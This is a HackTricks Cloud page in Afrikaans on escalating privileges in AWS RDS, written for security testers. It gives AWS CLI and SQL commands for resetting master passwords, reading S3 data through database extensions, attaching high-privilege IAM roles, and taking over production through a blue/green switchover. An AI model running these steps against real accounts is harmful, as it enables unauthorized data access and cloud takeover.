AWS - RDS Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
RDS - Relasionele Databasisdiens
Vir meer inligting oor RDS kyk:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Met daardie toestemming kan ’n aanvaller die wagwoord van die master user wysig, en die login binne die databasis:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Jy sal in staat moet wees om die databasis te kontak (hulle is gewoonlik net toeganklik vanaf binne netwerke).
Potensiële impak: Vind sensitiewe inligting binne die databasisse.
rds-db:connect
Volgens die docs kan ’n gebruiker met hierdie toestemming met die DB-instantie verbind.
Misbruik RDS Role IAM permissies
Postgresql (Aurora)
Tip
As jy
SELECT datname FROM pg_database;uitvoer en ’n databasis met die naamrdsadminvind, weet jy dat jy binne ’n AWS postgresql database is.
Eerstens kan jy nagaan of hierdie databasis gebruik is om toegang tot enige ander AWS diens te kry. Jy kan dit kontroleer deur na die geïnstalleerde uitbreidings te kyk:
SELECT * FROM pg_extension;
As jy iets soos aws_s3 vind, kan jy aanvaar dat hierdie databasis ’n soort toegang tot S3 het (daar is ander uitbreidings soos aws_ml en aws_lambda).
Ook, as jy toestemming het om aws rds describe-db-clusters uit te voer, kan jy daar sien of die cluster enige IAM Role aangeheg het in die veld AssociatedRoles. As daar enige is, kan jy aanvaar dat die databasis voorberei is om toegang tot ander AWS-dienste te hê. Gebaseer op die naam van die role (of as jy die permissions van die role kan kry) kan jy raai watter ekstra toegang die databasis het.
Nou, om read a file inside a bucket te lees moet jy die volle pad weet. Jy kan dit lees met:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
As jy raw AWS credentials gehad het, kon jy dit ook gebruik om toegang tot S3-data te kry met:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql hoef nie enige parameter group variable te verander nie om toegang tot S3 te kry.
Mysql (Aurora)
Tip
Binne ’n mysql, as jy die query
SELECT User, Host FROM mysql.user;uitvoer en daar is ’n gebruiker genaamdrdsadmin, kan jy aanvaar dat jy binne ’n AWS RDS mysql db is.
Binne die mysql voer show variables; uit, en as veranderlikes soos aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role, waardes het, kan jy aanvaar dat die databasis voorberei is om toegang tot S3-data te kry.
Ook, as jy permissies het om aws rds describe-db-clusters te voer, kan jy nagaan of die cluster enige associated role het, wat gewoonlik toegang tot AWS-dienste beteken).
Nou, om ’n lêer binne ’n bucket te lees moet jy die volle pad ken. Jy kan dit lees met:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
’n aanvaller met die toestemmings rds:AddRoleToDBCluster en iam:PassRole kan ’n gespesifiseerde rol by ’n bestaande RDS-instansie voeg. Dit kan die aanvaller toegang gee tot sensitiewe data of die data binne die instansie wysig.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Potensiële impak: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie.
Let wel dat sommige DBs addisionele konfigurasies benodig, soos Mysql, wat ook vereis dat die role ARN in die parameter groups gespesifiseer word.
rds:CreateDBInstance
Slegs met hierdie toestemming kan ’n aanvaller ’n nuwe instansie binne ’n cluster skep wat reeds bestaan en waaraan ’n IAM role gekoppel is. Hy sal nie die master user password kan verander nie, maar hy kan moontlik die nuwe database-instansie aan die internet blootstel:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO: Toets
’n aanvaller met die permissies rds:CreateDBInstance en iam:PassRole kan ’n nuwe RDS-instansie skep met ’n gespesifiseerde rol aangeheg. Die aanvaller kan dan moontlik gevoelige data benader of die data binne die instansie wysig.
Warning
Some requirements of the role/instance-profile to attach (from here):
- Die profiel moet in jou rekening bestaan.
- Die profiel moet ’n IAM-rol hê wat Amazon EC2 toestemming het om aan te neem.
- Die instance profile name and the associated IAM role name must start with the prefix
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Potential Impact: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS instance.
rds:AddRoleToDBInstance, iam:PassRole
’n Aanvaller met die regte rds:AddRoleToDBInstance en iam:PassRole kan ’n gespesifiseerde rol by ’n bestaande RDS instance voeg. Dit kan die aanvaller toelaat om toegang tot sensitiewe data te kry of die data binne die instance te wysig.
Warning
Die DB instance moet buite ’n cluster wees vir hierdie aksie
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Potensiële impak: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
’n Aanvaller met hierdie toestemmings kan ’n produksiedatabasis (Blue) kloon, ’n IAM-rol met hoë voorregte aan die kloon heg (Green), en dan switchover gebruik om die produksie-omgewing te vervang. Dit stel die aanvaller in staat om die databasis se voorregte te verhoog en ongemagtigde toegang tot ander AWS-bronne te verkry.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Potensiële impak: Volledige oorname van die produksiedatabasis-omgewing. Na die oorskakeling werk die databasis met verhoogde bevoegdhede, wat ongemagtigde toegang vanaf binne die databasis tot ander AWS-dienste (bv. S3, Lambda, Secrets Manager) moontlik maak.
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

